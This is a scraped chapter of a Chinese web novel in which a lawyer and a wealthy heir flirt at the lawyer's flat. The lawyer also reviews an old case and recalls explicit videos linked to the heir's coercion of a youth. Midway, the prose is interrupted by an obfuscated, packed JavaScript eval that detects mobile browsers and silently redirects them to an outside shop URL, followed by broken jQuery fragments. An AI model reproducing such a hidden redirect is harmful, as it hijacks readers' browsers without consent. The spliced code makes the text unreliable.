文趣网 > 都市小说 > 混球翻车实录 > 10. 第 10 章
    电梯四面都是镜面,林决明靠在轿厢壁上从镜子里看顾卓的脸,看得毫不遮掩。

    顾卓抬着头看楼层数字,始终没回头,直到“叮”的一声数字停住,他忽然垂下目光,视线在镜面里精准地截住林决明的眼睛。

    “看够了?”

    林决明从镜子里与他对视,视线不避,嘴角一咧,无声做了个口型:没够。

    电梯门开,一室昏暗,只有对面整面落地窗泄进来城市灯火,在地板上淌成一片模糊的影。顾卓率先进去,玄关感应灯在他脚下映出半弧暖黄。

    弯腰从鞋柜取了双未拆封的拖鞋搁在林决明脚边,“穿这个。”

    林决明没急着换鞋,靠在门框边,目光始终追随着走向客厅的那个背影。顾卓也不管他,边脱外套边穿越客厅往岛台走。

    顾卓的身材不是一般的好,量体定制的白色衬衫与挺拔身形贴合完美,收窄的腰线和挺阔的肩背无一不招惹留香。

    随手将西装搭在岛台,打开岛台那一圈的灯,光线昏昧。顾卓抬手从上方柜子里取下药箱,金属扣弹开,一声脆响,回身道:“过来。”

    林决明换好鞋后兴味十足的晃悠过去,到顾卓身侧时故意贴着他后背转了半圈,绕到了顾卓另一侧靠在岛台,手肘撑上大理石边缘,直勾勾的盯着眼前的人,瞳孔里燃着侵略意图的碎光。

    夜色在两人之间缓缓收束,视线在昏沉暧昧的空气里丝丝敛紧,林决明游走于桃色花丛多年,撩拨人心勾动欲望这事他是专业的。

    视线一点点沉下去,力道步步加码,仿佛要灼透皮囊侵入顾卓的骨髓。

    顾卓却选择无视了那过于灼热的目光,垂眸握住林决明的手腕翻出伤口,林决明的视线从他低垂的睫毛爬下去,滑过鼻梁,停在唇角,他乐于被顾卓这样握着,任其牵引。

    顾卓始终面如止水。

    正有条斯理的处理着伤口,林决明忽然微微前倾!

    两人距离骤然缩短!鼻息交融,温热潮湿,鼻尖擦过顾卓耳廓,吐息拂在颈侧。

    “顾律师,你家里可真冷。”

    顾卓动作不停,闻言也没抬头,垂着眼缓声回:“正合适你,血气方刚。”

    林决明低笑一声,“这怪你,顾律师总是让人血气方刚。”

    说完,没伤的那只手就搭上了顾卓的领带结,轻轻一拨,顺着领带往下滑,停留,拨弄,步步试探,丝丝渗透。

    顾卓呼吸频率没变,视线仍在伤口上,最后打了个工整的结,全程没抬过一次眼,也没阻止那只作乱的手。

    药箱合上,顾卓这才轻轻抬眸。眼前的林决明明晃晃的勾引太过刺眼,顾卓之前喜欢这样的,辛光都知道他的口味,脾气大还单纯的,恰巧林决明每一条都占了。

    目光从镜片后方扑出来,他骤然往前上了半步!随即微微倾身压的更近!

    整个人越过林决明,手臂贴着耳侧伸过去,衬衫袖口擦过脸颊。体温和香水味铺天盖地的砸过来又随着动作抽离,目光始终赤裸的停留于林决明的眼眸之中。

    林决明血液瞬间沸腾,脑子嗡了一声。

    这么顺利?他脑子里炸开一片白光,全身的血液水漫金山似的往某个方向涌。

    他正美着,想着下一步该用什么姿势把人按在这岛台上之际,顾卓直视着他的眼睛,倏然扬起一个客气标致的笑,将药箱放回了上方的柜子。

    手上不动声色的从林决明手里抽回自己的领带,林决明还没反应过来,顾卓已直起身,笑容未动分毫。

    旋即转身走向冰箱,取了瓶水向呆立原地的林决明递了过去,“降降火。”

    林决明还靠在岛台边,他盯着顾卓递过来的水,反应过来后舌头顶了顶腮肉。

    行,顾卓,你牛。

    他气极反笑的点了点头。

    但你别急,我们有的是时间。

    ***

    林决明去洗澡的间隙,顾卓将自己关在书房里,坐在电脑前思绪沉浮。

    屏幕上陈列着多年前恩师败诉案件的判决书,以及同期相关新闻报道,顾卓的目光久久停留在胜诉方的资料页面,静坐良久。

    七年前天启集团的矿难轰动全城,矿塌致使三十六人遇难,事态发酵后,早已不止是企业与遇难者家属的纠纷,不少天启的同行对手也借机暗中推波助澜。

    而后天启抛出证据,直指事故源于一名陈姓工人在井口违规吸烟引发爆炸。最终企业只承担了人道救助金和保险赔付,全身而退。

    良久无有叹息,顾卓深吸一口气,摘了眼镜捏了捏鼻梁。随后他打开电脑C盘深处一个加密文件夹,层层文件夹逐一展开后,数十个视频文件整齐罗列在屏幕里,内容高度统一,全是赤裸纠缠的肉|体影像,光影暧昧,画面靡丽。

    林决明这点私下癖好顾卓早就知道,当初他从陈晓磊电脑里看到视频时就知道了。

    不过他一直没想通的是,为何林决明拍的视频会在晓磊的电脑里。

    但事实确凿,无从辩驳。

    陈家父子二人分别承受了林家两父子最极致的不公与折辱。陈晓磊的父亲被林绍崇一手运作定罪,而年少的陈晓磊则沦为林决明隐秘癖好下的牺牲品,被对方肆意侵占、胁迫侮辱。

    顾卓眸光沉沉,门外恰巧传来脚步声路过,他从思绪中抽离回来,缓缓扣下了电脑。

    刚洗完澡的林决明左右寻不到顾卓,下半身裹着个浴巾,裸着胸膛自顾自溜达到满满的酒柜前驻足。

    这顾大律师表面上文质彬彬,私下里竟还是个酒鬼?

    林决明暗暗咋舌,信手打开酒柜取出半瓶麦卡伦,又完全不把自己当外人般的从旁边拿来个杯子。

    顾卓出来时就见林决明正半裸的站在冰箱前接冰块,他也没阻止,撂了一句:“你今晚睡在左手边第二间,”他看了一眼林决明手里拎的酒瓶,又说:“你自便,我先去休息了。”

    林决明见人转身要回房睡觉,冰块也不管了就上前去叫:“别啊,大律师,良辰难得,”他抬手晃了晃酒瓶,“我陪你喝点?”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830956|211329||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    他似乎是对自己的酒量没有什么认知,被施燃喝哭那么多回也从没觉得自己酒量差劲,顾卓瞧他一眼,想着趁人之危胜之不武,便说:“不了,有些累了,你陪良辰喝吧。”

    林决明却不肯放过他,也不肯放过自己,抓住手腕又将人扯回了身,“那多寂寞啊,累了正好,正好喝点解解乏。”眨眨眼睛不等人回应就将人拉到了沙发,“别拘谨了,就当在自己家一样。”

    安顿好顾卓他又反客为主的给人添了酒,“你先坐,我去再拿个杯子。”

    顾卓默不作声地纵容着林决明行为自由,林决明冰箱接了半杯冰块,叮叮当当地走回来贴着顾卓坐,酒液撞在冰块上,溅出几滴。

    “顾律师,”他环顾一周,觉得还差点意思,随后目光勾着顾卓的眼睛,“你觉不觉得静得慌?差点儿音乐。”

    “静不好么?”顾卓稳如老狗,让人探不到底。

    林决明却浑然不觉顾卓的城府,往前凑了凑,压低声音魅诱地说:“可太静了,总是容易让人想些不该想的。”

    “比如?”

    “比如……顾律师这身衣服下面,究竟长什么样子。”

    人在一切都垂手可得之时总是如此松弛,林决明向来是这样,他想要的从来不懂遮掩,也从不需要迂回试探。从小到大要风得风要雨得雨,想要的东西和想得到的人从来没有失手的先例,长久的顺境让他对一切都带着一种与生俱来的倦怠,也养出了骨子里的绝对自信,从不觉冒犯。

    他不必伪装体面,不必收敛欲望,更不必动点心思迂回讨好,反正他想要的,最终都会属于他。

    未经风霜便不懂克制,这般炽热的直白进攻落在顾卓眼里,只让他心底翻涌着强烈的厌弃。

    他太清楚这类纨绔子弟的底色,一生被特权托举,对世间规则、他人尊严皆抱持着固有的轻慢。他们对一切都没有敬畏,甚至没有真正的兴趣,因为万事皆可玩赏,万事皆可消遣,所以他们的行为肆意无度,他们从不自我约束,他们凭着与生俱来的优渥,将旁人的分寸与底线视若无物。

    顾卓面上依旧不动声色,垂眸抿了一口杯中酒,眼底沉静,将所有翻涌的抵触与厌恶尽数藏在了镜片之后。

    林决明吃这套,顾卓越是体面矜持,他就越是想要将人狠狠占有。

    他不由分说身体猛的前压!呼吸灼热,目光赤裸。

    “顾大律师这种不理人的劲儿,特招人。”说着,伸手搭上了顾卓的领带结,轻轻一拉,又顺势覆上领口的纽扣,若有若无地蹭着,直拳出击道:“特招人心痒。”

    “林少,”顾卓一把握住林决明的手腕,缓缓抬眸沉沉的看他,“你这叫趁人之危。”

    “趁什么危?”林决明挑眉,“顾律师醉了?”说着便解开了指尖的那颗扣子。

    “没有。”

    “那不就是了,我从不趁人之危。”林决明笑得更加灿烂,手指又往下挪了一寸,停在第二颗纽扣上,“两个清醒的人,你情我愿,算什么趁人之危?”